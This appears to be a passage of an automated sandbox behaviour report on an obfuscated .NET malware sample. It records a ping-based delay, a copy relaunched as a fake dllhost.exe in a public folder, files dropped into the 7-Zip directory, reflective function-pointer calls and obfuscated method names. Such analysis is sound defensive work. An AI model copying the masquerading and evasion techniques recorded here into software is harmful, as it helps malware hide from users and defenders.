                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\Libraries\dllhost.exe "C:\Users\Public\Libraries\dllhost.exe" Jump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: mscoree.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: version.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: cryptsp.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: ktmw32.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: amsi.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: ntmarta.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: dlnashext.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: wpdshext.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: appresolver.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: bcp47langs.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: slc.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: sppc.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                              Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                              Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Windows\System32\chcp.comSection loaded: ulib.dllJump to behavior
                              Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dllJump to behavior
                              Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dllJump to behavior
                              Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dllJump to behavior
                              Source: C:\Windows\System32\PING.EXESection loaded: dnsapi.dllJump to behavior
                              Source: C:\Windows\System32\PING.EXESection loaded: rasadhlp.dllJump to behavior
                              Source: C:\Windows\System32\PING.EXESection loaded: fwpuclnt.dllJump to behavior
                              Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: mscoree.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: version.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: cryptsp.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: ktmw32.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: amsi.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: wbemcomn.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: iphlpapi.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: dnsapi.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: dhcpcsvc6.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: dhcpcsvc.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: winnsi.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: rasapi32.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: rasman.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: rtutils.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: mswsock.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: winhttp.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: winmm.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: winmmbase.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: mmdevapi.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: devobj.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: ksuser.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: avrt.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: audioses.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: powrprof.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: umpdc.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: msacm32.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: midimap.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: dwrite.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: windowscodecs.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: ntmarta.dllJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeSection loaded: dpapi.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                              Source: Window RecorderWindow detected: More than 3 window changes detected
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDirectory created: C:\Program Files\7-Zip\Lang\aVIegkftDeblliEdgtUahRSaMtI.exeJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeDirectory created: C:\Program Files\7-Zip\Lang\74cb7468389f91Jump to behavior
                              Source: eu6OEBpBCI.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                              Source: eu6OEBpBCI.exeStatic PE information: Virtual size of .text is bigger than: 0x100000
                              Source: eu6OEBpBCI.exeStatic file information: File size 3682816 > 1048576
                              Source: eu6OEBpBCI.exeStatic PE information: Raw size of .text is bigger than: 0x100000 < 0x382a00
                              Source: eu6OEBpBCI.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

                              Data Obfuscation

                              barindex
                              .NET source code contains method to dynamically call methods (often used by packers)
                              Source: eu6OEBpBCI.exe, QXAkCaYGvsDfCLsBuBN.cs.Net Code: Type.GetTypeFromHandle(p0pvTxtcPv1YtMEtrTP.TfVEytSM6p9(16777425)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(p0pvTxtcPv1YtMEtrTP.TfVEytSM6p9(16777246)),Type.GetTypeFromHandle(p0pvTxtcPv1YtMEtrTP.TfVEytSM6p9(16777260))})
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B927141 push edi; retf 0_2_00007FFD9B927136
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B931E0E push ds; retf 0_2_00007FFD9B931E0F
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B9C75B4 push es; retf 0_2_00007FFD9B9C75B7
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B9C68B4 push ebx; ret 0_2_00007FFD9B9C68BA
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9BE773FA push eax; iretd 0_2_00007FFD9BE77469
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9BE72D70 push FFFFFFE8h; retf 0_2_00007FFD9BE72DF1
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9BE72D6C push FFFFFFE8h; retf 0_2_00007FFD9BE72DF1
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9BB27141 push edi; retf 5_2_00007FFD9BB27136
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9BB31E0E push ds; retf 5_2_00007FFD9BB31E0F
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9BBC75B4 push es; retf 5_2_00007FFD9BBC75B7
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9BBC68B4 push ebx; ret 5_2_00007FFD9BBC68BA
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9C0718B8 push FFFFFFE8h; retf 5_2_00007FFD9C072DF1
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9C0773FA push eax; iretd 5_2_00007FFD9C077469
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9C296C90 pushfd ; iretd 5_2_00007FFD9C296C91
                              Source: eu6OEBpBCI.exe, lvhPbaUiyBeOiuQxKvG.csHigh entropy of concatenated method names: 'rdFUjA0pnL', 'nkmUsS2gqe', 'sR6UMZfImZ', 'EDcU2qZlfC', 'PoVUObAj7B', 'BchMesPoEvtlP31hREti', 'J6jc7RPoWv9YTtfmigY3', 'coNo0hPoPk9YFWa2N24k', 'qw1sYMPobDPQ6RA8anwX', 'DhPM0tPo5YMbFbygPygA'
                              Source: eu6OEBpBCI.exe, kbmOKIV9BejXyToIdtW.csHigh entropy of concatenated method names: 'knhVsRgYXB', 'tjOVMZ3iD3', 'RpsV2wqphM', 'sgNHa0PJ9Xd4uagfxAlO', 'PWrXZhPJJQ9T7exVgDlE', 'CkRiygPJLtQXmrZmVXRB', 'Ewclo5PJkQM5cK0rCH6h', 'fIlVmMolTA', 'FIlVhqkeas', 'HpqV7Ncm90'
                              Source: eu6OEBpBCI.exe, faVm4IVnubYPKksJAIr.csHigh entropy of concatenated method names: '_5Z7', '_58k', '_4x4', 'bU6', '_3t4', 'a5C', 'bNt9GtPJRvpHZdRPnGxu', 'EAsQCxPJifg1CLWfImrM', 'Ks9DsfPJ6x4blEqZChdo', 'avD47CPJj6s4dctFO8EB'
                              Source: eu6OEBpBCI.exe, TsuaPF5u8I46JH9YJqG.csHigh entropy of concatenated method names: 'jtG5qnmlem', 'KfV5XYmQJ2', 'qYk53HsE5Z', 'qV9589GC4S', 's6tlWBPLdrRfav6Q5Ox0', 'BwON0MPLNqruPNo0vXSZ', 'zM667GPLGnjYJH4N5iY4', 'gqaDD9PLSkd4Pte5cv2k', 'BSCy8FPLBFy9a0arOTgh', 'rAYrMqPLF3qy0ZqEWZS0'
                              Source: eu6OEBpBCI.exe, Oppx4x4Mv4eRFwcDILX.csHigh entropy of concatenated method names: 't0v4n6NVra', 'JPP4IjF3sZ', 'GGB4YiV9cI', 'fWS40cgF1l', 'VZU4tKEtwc', 'itu4xl7ATl', 'Oqi4zgOmHe', 'vJeNNSPmLHLG8D5CvPYv', 'PIWXVnPmkJU35HpaQFqu', 'qyKA2nPm3aIuZJbfYdqI'
                              Source: eu6OEBpBCI.exe, PseYhcD6GEe19qAD3jX.csHigh entropy of concatenated method names: 'IM3VWOvEiC', 'm3jVPca0kk', 'TdbVEjE2rZ', 'cRDVR9P9YaZiAhKfoVdm', 'HTYddyP90h7WRMUxBlCu', 'lAqW84P9nDs3dNc3vAIH', 'zStfHGP9Ioa1DUpTD4Cl', 'HKZDsMTCFx', 'p6BDMd1shd', 'JcnD2Hroy0'
                              Source: eu6OEBpBCI.exe, stZUPfgZh1YwqJVIbQG.csHigh entropy of concatenated method names: 'Cj1', '_1Td', 'Cz6', 'ht3', 'T6EgG72Oru', '_947', 'AOYgd8B41C', 'AucgSDERkE', '_1f8', '_71D'
                              Source: eu6OEBpBCI.exe, F1TU4KCuCJYku7k3XkN.csHigh entropy of concatenated method names: 'Xyb', 'Sz4', 'zej', 'ExtCqCqqVD', 'Vvg6aIPITQNVIabSikVq', 'wwauN2PIrYljZRX7exeY', 'kxVBedPIR6S4ORZ0XNAZ', 'snuf66PIinwoPSacI0S9', 'Y1jTSuPI6ToG2SL2VSNK', 'fHtZ2yPIjtxFq5oixpfs'
                              Source: eu6OEBpBCI.exe, olbiN4PKDsWULbkrgdb.csHigh entropy of concatenated method names: 'N2T', 'V29', 'o75', '_2Q4', 'K3B', 'CPLP4ab5ObJ', 'UtKPbOSQlN3', 'N5owjaPqwHlfArnIskuX', 'tt1kNkPqnPm2BZCemARj', 'VTcgAgPqIXNsdxRdvPxI'
                              Source: eu6OEBpBCI.exe, G01pPeE8ApODstV6ggu.csHigh entropy of concatenated method names: 'xkxETYU26H', 'VOoIkjP3NYJt6sypDbdM', 'gU8CEeP31vIY3uTtBWA4', 'UwavhnP3ZH4cb67EhnCp', 'pwCsTSP3GmpGu1UNNKT3', 'RnvEkHTMKh', 'Le8E9Nr6NV', 'BuGEJCOF47', 'WNMEmWZNZI', 'Xaw57jP3l3wRLuYrsfYe'
                              Source: eu6OEBpBCI.exe, F0yvdWbH2yg7jsI6JaB.csHigh entropy of concatenated method names: 'eBCbl23ZxY', 'lo4bUbyk5V', 'nTNbAcv6HY', 'vwbuXtP3nM9HwpNvSrGw', 'HeGCTAP3ItSr7uPqObJw', 'UuZqanP3QrAxOSdINnir', 'iIv4DUP3whjj8yeCC5V9', 'grvN2PP3YF47YLkxgFAJ', 'YCFEthP308m2dewIVqrJ', 'I4xGxyP3tVF1Xt9mWqLZ'
                              Source: eu6OEBpBCI.exe, eeAs1pciF4fVdqA9m4.csHigh entropy of concatenated method names: 'H92J9iop5', 'IwncZSPKYWZ6nloRf2hL', 'W4iMUgPKn2UWsdT8otsk', 'oT5Hi8PKIS4f4MwTPZ5S', 'h42ZZdfT7', 'BOWN1mbII', 'xxlGTqpuN', 'f7SdeR4k9', 'J5LScIYy9', 'D8IBao0Jt'
                              Source: eu6OEBpBCI.exe, vMFJ3PXNPfSnMNlGZAc.csHigh entropy of concatenated method names: 'L7yXddZmmF', 'ykAXSpcg7g', 'pnwXB2YfJT', 'GMRXFrp099', 'oiiXuWEgZw', 'VJlXKRRpPN', 'fxPUAgPsKHyDFHhG7vBr', 'QITkjmPsFAp9ZPGeIaeu', 'Ia0wjbPsuWv2Bvs8jAcD', 'J7SqMKPsqvdfhOS1ZnTN'
                              Source: eu6OEBpBCI.exe, RSR7qhOYRi8Lm0IRBWS.csHigh entropy of concatenated method names: 'u7YClGGGNf', 'wjQtQTPIul6wkZoe6J18', 'IgR9WsPIBcLx6GmE6Ubh', 'fnnu1mPIFVEioag48GZH', 'AEK16OPIK3KP1QRNJR15', 'CPX', 'h7V', 'G6s', '_2r8', 'FGePDJHhgEj'
                              Source: eu6OEBpBCI.exe, AiBEXhOCUGTCsWhJtu7.csHigh entropy of concatenated method names: 'b8XP4j8VQ0M', 'ulDOwq8t4s', 'MChOntWHD5', 'gSBOI9Fu2R', 'LO3BAqPnjXgvTol8uWMe', 'R4pqXwPns0aMUGyy2sZe', 'rtodABPnM73quFOEsftq', 'oiAkJPPn2sOxLWCHEDDc', 'njrbHTPnOAjkpZFEwf76', 'vNMDlKPnC20i84NWCveU'
                              Source: eu6OEBpBCI.exe, kPR3y27rHAWPLBjdl1r.csHigh entropy of concatenated method names: 'kxV7i0DwXK', 'KB276K9FPr', 'SV87jhJCio', 'HJx7snbqYf', 'j567Mdndi1', 'TQ972V9S4A', 'fq57ObfBTf', 'PCg7C2uTMN', 'yYk7QaP0Mf', 'lIu7w8b1nL'
                              Source: eu6OEBpBCI.exe, WxXDO3XQLCrqUbxJG2s.csHigh entropy of concatenated method names: 'pEEXnanYuX', 'A1bXIUeIQd', 'o75XYWwFNd', 'qpBX0a2k3q', 'JbjXtMAhkL', 'gwqXxhNVLd', 'VsUXzXGXQ4', 'G7H3W1vS69', 'ujR3PbQTic', 'E4i3E2bxsK'
                              Source: eu6OEBpBCI.exe, uSRj1oHYWWCnMpFABwD.csHigh entropy of concatenated method names: 'My5', 'V4X', 'zT6', 'pNLHt0u18Z', 'ml2P4rn98aE', 'FXUHxCBSPj', 'enrP4RMPlx1', 'q6ZR9VP7RYEchyRqcWSp', 'p3KSo5P7TrMKSDA9vFB8', 'UcnyQZP7rqgFOqVJfawS'
                              Source: eu6OEBpBCI.exe, emVEkDm4ISniPiXXAtm.csHigh entropy of concatenated method names: 'HewmH0yyM4', '_64r', '_69F', '_478', 'Dxxmfab1vP', '_4D8', 'FFJmlLafmJ', 'RnAmUvtT2I', '_4qr', 'zQemApijxK'
                              Source: eu6OEBpBCI.exe, TrF0DO8754Wh29dC3dp.csHigh entropy of concatenated method names: 'OQU8oOdxEV', 'kjd8T6wq30', 'MeG8rYcCkJ', 'xIi8R18rSB', 'cxH8i1mSHU', 'DfCuI8P29V7V4AcQQCDR', 'qNJcBeP2JI8RVjFucyMt', 'QBrUyhP2m2VBtnMptes6', 'gEOeVrP2L7MO0DldhkuC', 'WpS8ZVP2kOlbHGeYEpaD'
                              Source: eu6OEBpBCI.exe, UEc48jAkyAbw0KOym9G.csHigh entropy of concatenated method names: 'j9l', 'zFCAJv3bUR', 'DDIAmJbRbX', 'PXYAhw7ARP', 'S9MA78ymv7', 'IJUAp08g6g', 'P3ZAoyxyBL', 'zBu7jTPoK4jdLcwevhyO', 'uKS52EPoFwVeBL8O6Key', 'GfcEdQPourTcUrwQr5Ia'
                              Source: eu6OEBpBCI.exe, BMHc7CHpppAwh4sKsjE.csHigh entropy of concatenated method names: '_2SY', 'cipP4hDWgW7', 'w1bHThtIsw', 'fCMP477e1uO', 'rpjivSP7NjUCxhkjWb1S', 'fV5AdtP7G3BqCeUgm4cD', 'NaAsmNP71i4Sw19rxfet', 'g4eqegP7ZBOKtYdHTZjR', 'cevTReP7dyyNWUv7MLZ9', 'hA5mddP7S8mdQRJGsT3i'
                              Source: eu6OEBpBCI.exe, HhH2sxbtni3HS0AL35E.csHigh entropy of concatenated method names: 'Wt95gpA0EO', 'hqiRHrPLDVVPxdqc2MWo', 'fhNpQgPL5JIopkPQ56Or', 'bXaJXOPLycFuFUdqNxq7', 'GReWwHPLVEb6bWkGQqZN', 'iDWFnkPLfF5Zsmq8IC9X', 'NHoSq2PLviEl6FDNlLmj', 'FYoZ5vPLHNpc2xoje0v8', 'tFLTgmPLlwtXB5ssLbcT', 'SnD5S0Qbqk'
                              Source: eu6OEBpBCI.exe, AaPQ0wAQbkv3tbZWqVd.csHigh entropy of concatenated method names: 'Ue0AnAq3RN', 'kKWAIM1Fhy', 'wlDAYvuHFJ', 'DSCA05UYDg', 'pAgAtuTqeL', 'oGJWMXPoTJitf98x33xT', 'YlMqLoPopcIb0vM68bOy', 'Set0hYPooWsEpWSlvk91', 'O1aycJPort4ybc33OFHy', 'DQe5irPoRpbIxvoU9MMS'
                              Source: eu6OEBpBCI.exe, JWsrR9Xb5CUQsEHW9Yx.csHigh entropy of concatenated method names: 'KrYXypMYyq', 'mJ4XDeTFqJ', 'OxoXVqGUfL', 'ut4X4jCinm', 'PddXv0AbUq', 'KLAlpmPsyKR3nCGFeWj3', 'wcuGkZPsbAjLNOPUVXOZ', 'cK4UbHPs56JQTW75Wauj', 'EB2MfFPsDYCyQZZ0agX1', 'AglikRPsVIp1iy08GOMS'
                              Source: eu6OEBpBCI.exe, GBugGODVDHBkC4L6uMM.csHigh entropy of concatenated method names: 'hUaDN2oQ4Y', 'WvYDGDdjmX', 'ykquCOP9vhaVAIr3Xg4b', 'SrD4NqP9Hd5IEU0bI6TN', 'mem26rP9VLB3YbvQq7hM', 'sOLiKNP94fFFCxidMMfC', 'tWdDcevQgR', 'vHaD1EN1Ge', 'OvfxUVP9yI77Pg7tgfq3', 'O2wpptP9bB9S0HrJlg3Y'
                              Source: eu6OEBpBCI.exe, lOSccI5CMYuPvFJjBv0.csHigh entropy of concatenated method names: 'ijq5t91BVs', 'Tdf5xuwrMJ', 'rer5zvwyGc', 'C4R1EcPLn2NFSHsCoPrl', 'qEyO8BPLIBwQ1RWSDLFl', 'f9gqUPPLQ5SW4oScDduH', 'NmkCBSPLw7TSrJJel1LE', 'xjM5w5RYq1', 'XEA5nbE4kb', 'dlo5IeOygp'
                              Source: eu6OEBpBCI.exe, hFNLGHPAAsbPuHV8Bmx.csHigh entropy of concatenated method names: 'lErPaIHgUx', 'BsTPegCBcW', 'gtvPcIN6Mp', 'A3SOPEPqmImJT9Z3O7BS', 'Da7GM4Pqh9RyhieP6TD9', 'RUWQoePq7CQ4pXB60ln2', 'q2VA1hPqpsqWCqTE9VDw', 'rVSd0YPqo7qGOY5BHoxB', 'qmplcZPqTKhieuaLg7b0'
                              Source: eu6OEBpBCI.exe, UVa5ViQUZ8bOQit4B55.csHigh entropy of concatenated method names: 'TdrPD7m762w', 'vnlPDpXn4eT', 'y14PDoIHaYU', 'QPeQYaPYjFF9r5knvVnH', 'B6kh6VPYiJvB9dYhyG6o', 'sWV1ooPY61rP0UmyR80M', 'Y4a5M9PYsb9IbiQl4dly', 'uC4P4s1ibyA', 'vnlPDpXn4eT', 'RUqiemPYCxaTWDCCxoNy'
                              Source: eu6OEBpBCI.exe, cklTxgySwbsT2f9CxdI.csHigh entropy of concatenated method names: 'EHiymxvjCB', 'omKyhfaJHH', 'PR61ZEPkL1brLyxvwlGs', 'pOdtClPk3gxuoIMS7wjn', 'XeN9x2Pk8hF0XKG5HOt2', 'HnbyFeG2Gi', 'SdDyu3TLor', 'uaXyKMlL2A', 'D9cyqwYVfg', 'FstyX2pFLX'
                              Source: eu6OEBpBCI.exe, IaEsEkPI5m12N6QZQQA.csHigh entropy of concatenated method names: 'io8', 'V29', 'j67', '_2Q4', 'pi9', 'qdlP4Z6pIx0', 'UtKPbOSQlN3', 'NlSNl4PXK7FSJG4TVH6x', 'LLIVOePXqOpOrGC9ZjrX', 'rhQqfPPXXFhLKXM7SGeh'
                              Source: eu6OEBpBCI.exe, jMj06eQ5S9GK9C9xRr4.csHigh entropy of concatenated method names: 'vQ9QDeIyfF', 'KntQVmcEkE', 'wGcQ4qST2v', 'ynVQvSffEV', '_0023Nn', 'Dispose', 'vNA9WgPYD3BK67tjpClF', 'fpwPRZPYV3S7Lg3p8Vnk', 'EpIWs2PY49Cpt4u8eAAW', 'zQX5x3PYvU0SqdKD7Wkh'
                              Source: eu6OEBpBCI.exe, micKxvcE9iWXap0su0i.csHigh entropy of concatenated method names: 'KoUccW6h8A', 'AKJcZlScnv', 'IGOc5JhV6c', 'SKDcyk0akD', 'I1lcDcmcGg', 'y0pcVNf7ut', 'MQWc4CqVB0', 'xPZcvUMIPx', 'L3WcH4euob', 'VHLcf1J04T'
                              Source: eu6OEBpBCI.exe, DD0mTbvz6kIaFAAOQ8u.csHigh entropy of concatenated method names: 'NeFHDNWYhY', 'ldSmLePhobvxoKxVNBBY', 'wj4PBDPh7FwH6VD61Drv', 'hXV7qWPhp3Pn8YHp8l6i', 'blC1kdPhTdUKTXmjD0Ox', 's7EmsAPhrhblUnOQayib', 'eq7', 'd65', 'R5hP5GKJiVb', 'nOSP5dvaxMn'
                              Source: eu6OEBpBCI.exe, H0qwsmzphmY8OVCkIx.csHigh entropy of concatenated method names: 'sT8PPUykGI', 'zvKPbCwwl0', 'pUMP5ARPuT', 'x9GPySVHKh', 'jg6PDBkCqQ', 'G85PVffPju', 'xHSPveJ63S', 't1lrP6PqqKcNTt9GpXsJ', 'OGZ7BiPqXk3oPbU77EmO', 'RKbLONPq3cIDE3HhXN9d'
                              Source: eu6OEBpBCI.exe, qyX1sLE43pbreiBtAcL.csHigh entropy of concatenated method names: 'fIPEHe2h9m', 'WklEfiwsDv', 'MEBEldgvU4', 'nKqhYoPXjJf3PjF4KEmc', 'bs7Bf1PXidCmp7tR4cOM', 'JUKiyWPX6NLk7qBC1bSS', 'yHcY80PXsyRgUMDc7IKT', 'C2bGTvPXMEhcprl6Hm82', 'eUme4MPX2PZeadmQHJf5', 'q5LQ4ZPXOUMhmpFmfu7g'
                              Source: eu6OEBpBCI.exe, PH9KZiwiAx8da5mxNZo.csHigh entropy of concatenated method names: 'r6DwjP87ED', 'XJiwsenAfd', 'uerwMqBlGG', 'Lfow2rHYu1', 'mRywOIUoO9', 'qBYwClOYWL', 'An9wQ43jPd', 'UH4wwAhDmG', 'UuFUGGP0k2rtQe5vkNGJ', 'V23U4UP09dHtkOVfBoA9'
                              Source: eu6OEBpBCI.exe, Smx8Adfd8LaIJ0eabv2.csHigh entropy of concatenated method names: 'BvGfB7dgrI', 'IqVfFqKQU0', 'G7XfuOnSCl', 'l2CyvbPpcU939qpg2f38', 'QFSU80PpautuEJBeO064', 'AYZUXgPpeJanl6jUdWb5', 'KQpDn7Pp1SsvaYgNHxYl', 'gRJ01CPpZp2tZcDb0CLy', 'p3Wf39PpNJH8QXC0Gk9K'
                              Source: eu6OEBpBCI.exe, cdpJcc71vcM9hhqJ4wG.csHigh entropy of concatenated method names: 'Tnc7N3I9n1', 'FuB7GCF5t0', 'Irn7dPYIAd', 'dGJ7SvP6M7', 'hj67BY2RUI', 'HKm7FOP9lx', 'pRt7upepgR', 'UDT7KIB1XI', 'hf47q903qa', 'CYr7XiDU2H'
                              Source: eu6OEBpBCI.exe, Qbkb6ovLrVkr9eDlwjZ.csHigh entropy of concatenated method names: 'peJvTVmPok', 'tYpOYSPhlJOvuVERbJPu', 'uBhn9uPhHZgiUgE3psAs', 'O1rgYQPhfcD0ODQ3jEp4', 'LA6p2iPhU9Eo3kOjVmVF', 'eiRlK0PhA6sj9DGPywpp', 'UU8', 'd65', 'evaP5AoKAKc', 'M4oP5gDEIip'
